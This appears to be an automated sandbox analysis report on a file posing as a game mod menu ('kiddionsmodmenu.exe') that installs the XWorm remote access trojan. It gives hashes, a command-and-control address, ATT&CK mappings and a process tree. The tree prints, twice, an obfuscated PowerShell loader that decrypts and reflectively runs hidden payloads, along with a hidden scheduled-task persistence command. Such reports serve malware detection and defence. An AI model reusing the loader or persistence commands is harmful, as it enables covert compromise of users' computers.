xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
147s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/1288-72-0x0000000006F50000-0x0000000006F5E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	1288	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1408	powershell.exe
1128	powershell.exe
1288	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1408	powershell.exe
1408	powershell.exe
1128	powershell.exe
1128	powershell.exe
1288	powershell.exe
1288	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe
Token: 36	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe
Token: 34	1128	powershell.exe
Token: 35	1128	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 2740	4628	kiddionsmodmenu.exe	77
PID 4628 wrote to memory of 2740	4628	kiddionsmodmenu.exe	77
PID 4628 wrote to memory of 2740	4628	kiddionsmodmenu.exe	77
PID 2740 wrote to memory of 3168	2740	cmd.exe	81
PID 2740 wrote to memory of 3168	2740	cmd.exe	81
PID 2740 wrote to memory of 3168	2740	cmd.exe	81
PID 2740 wrote to memory of 1408	2740	cmd.exe	82
PID 2740 wrote to memory of 1408	2740	cmd.exe	82
PID 2740 wrote to memory of 1408	2740	cmd.exe	82
PID 1408 wrote to memory of 1128	1408	powershell.exe	83
PID 1408 wrote to memory of 1128	1408	powershell.exe	83
PID 1408 wrote to memory of 1128	1408	powershell.exe	83
PID 1408 wrote to memory of 1884	1408	powershell.exe	86
PID 1408 wrote to memory of 1884	1408	powershell.exe	86
PID 1408 wrote to memory of 1884	1408	powershell.exe	86
PID 1884 wrote to memory of 480	1884	WScript.exe	87
PID 1884 wrote to memory of 480	1884	WScript.exe	87
PID 1884 wrote to memory of 480	1884	WScript.exe	87
PID 480 wrote to memory of 3348	480	cmd.exe	89
PID 480 wrote to memory of 3348	480	cmd.exe	89
PID 480 wrote to memory of 3348	480	cmd.exe	89
PID 480 wrote to memory of 1288	480	cmd.exe	90
PID 480 wrote to memory of 1288	480	cmd.exe	90
PID 480 wrote to memory of 1288	480	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS2DE6.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS2DE6.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3168
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_560_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_560.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1128
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_560.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1884
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_560.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:480
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_560.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3348
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5dc9a9599fb11ee70f9164d8fea15abf

SHA1
85faf41a206f3fa8b469609333558cf817df2cda

SHA256
3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

SHA512
499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
dbe0e790ed9e2c32d901f539da937c55

SHA1
727610abc210204d6c86513195eebf1b0348987d

SHA256
639cfdfb339dab80bbef50d42a6f6e0872f6d1a637d9221bb9993d1ec4302cdf

SHA512
20f4f09aaea0db5fce4a02ddaeef0257a96bd4031bd48d6007e7b46222bfe4786222e39b7c00418bf7990cb32927c4cadbcf9a1be5643ad38aaa71ca80057827

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS2DE6.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vrnqgrpw.nmk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_560.vbs

Filesize
115B

MD5
15c70185092e8d9cf6aba915daa7a886

SHA1
c8f56fcde6edbf3936aae46fc96d0b422ffe1abc

SHA256
49ec259546d5a6a9e9277538687fc730b38dc6fa5a43a63c2816a69739287fe9

SHA512
b2bb05ec0a8e1aa029830e0197eeec2b9f527616d72b3da97087313e68ca4be682afa67d6056933c797e1c885caa864f8c964655f281e9843249260ac2b6922f

Download Submit
memory/1128-52-0x0000000007470000-0x0000000007506000-memory.dmp

Filesize
600KB

Download
memory/1128-49-0x0000000007050000-0x000000000706E000-memory.dmp

Filesize
120KB

Download
memory/1128-53-0x00000000073F0000-0x0000000007401000-memory.dmp

Filesize
68KB

Download
memory/1128-51-0x0000000007260000-0x000000000726A000-memory.dmp

Filesize
40KB

Download
memory/1128-39-0x0000000007090000-0x00000000070C4000-memory.dmp

Filesize
208KB

Download
memory/1128-40-0x000000006F600000-0x000000006F64C000-memory.dmp

Filesize
304KB

Download
memory/1128-50-0x00000000070D0000-0x0000000007174000-memory.dmp

Filesize
656KB

Download
memory/1288-76-0x00000000082A0000-0x0000000008332000-memory.dmp

Filesize
584KB

Download
memory/1288-72-0x0000000006F50000-0x0000000006F5E000-memory.dmp

Filesize
56KB

Download
memory/1288-73-0x0000000007000000-0x000000000709C000-memory.dmp

Filesize
624KB

Download
memory/1408-29-0x0000000007BD0000-0x0000000008176000-memory.dmp

Filesize
5.6MB

Download
memory/1408-8-0x0000000072C50000-0x0000000073401000-memory.dmp

Filesize
7.7MB

Download
memory/1408-28-0x0000000006F40000-0x0000000006F5E000-memory.dmp

Filesize
120KB

Download
memory/1408-10-0x0000000004D90000-0x0000000004DB2000-memory.dmp

Filesize
136KB

Download
memory/1408-26-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

Filesize
104KB

Download
memory/1408-25-0x0000000007550000-0x0000000007BCA000-memory.dmp

Filesize
6.5MB

Download
memory/1408-24-0x0000000006CD0000-0x0000000006D16000-memory.dmp

Filesize
280KB

Download
memory/1408-23-0x0000000005BD0000-0x0000000005C1C000-memory.dmp

Filesize
304KB

Download
memory/1408-22-0x0000000005B10000-0x0000000005B2E000-memory.dmp

Filesize
120KB

Download
memory/1408-27-0x0000000006F30000-0x0000000006F38000-memory.dmp

Filesize
32KB

Download
memory/1408-21-0x0000000005700000-0x0000000005A57000-memory.dmp

Filesize
3.3MB

Download
memory/1408-7-0x0000000072C50000-0x0000000073401000-memory.dmp

Filesize
7.7MB

Download
memory/1408-6-0x0000000002740000-0x0000000002776000-memory.dmp

Filesize
216KB

Download
memory/1408-5-0x0000000072C5E000-0x0000000072C5F000-memory.dmp

Filesize
4KB

Download
memory/1408-11-0x0000000004F30000-0x0000000004F96000-memory.dmp

Filesize
408KB

Download
memory/1408-9-0x0000000004FF0000-0x000000000561A000-memory.dmp

Filesize
6.2MB

Download
memory/1408-74-0x0000000072C50000-0x0000000073401000-memory.dmp

Filesize
7.7MB

Download
memory/1408-12-0x0000000005690000-0x00000000056F6000-memory.dmp

Filesize
408KB

Download